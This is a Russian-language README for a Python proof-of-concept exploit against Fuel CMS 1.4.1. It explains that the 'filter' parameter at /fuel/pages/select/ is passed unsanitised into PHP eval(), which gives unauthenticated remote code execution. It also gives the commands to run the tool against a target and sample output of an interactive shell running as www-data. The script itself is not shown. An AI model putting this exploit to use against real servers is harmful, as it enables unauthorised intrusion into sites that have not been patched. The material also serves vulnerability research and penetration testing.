
Python PoC для неаутентифицированного удаленного выполнения кода в Fuel CMS 1.4.1 через параметр `filter`, предоставляющий интерактивную оболочку для выполнения команд.
Уязвимость неаутентифицированного RCE в Fuel CMS 1.4.1. Параметр
filterв конечной точке/fuel/pages/select/передаётся несанитизированным в вызовeval()в PHP-бэкенде, что позволяет выполнение произвольного кода через специально сформированную полезную нагрузку. В отличие от слепых инъекций, вывод отражается прямо в HTTP-ответе, поэтому промежуточный файл не требуется.
/fuel/pages/select/ со специально сформированной полезной нагрузкой filter, которая вызывает PHP-функцию system() с нужной командой.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Пример:
$ python3 exploit.py -t http://10.10.10.10
[*] Проверка выполнения команды...
[+] Цель уязвима! Вывод: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Оболочка открыта. Введите 'exit' или нажмите Ctrl+C для выхода.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit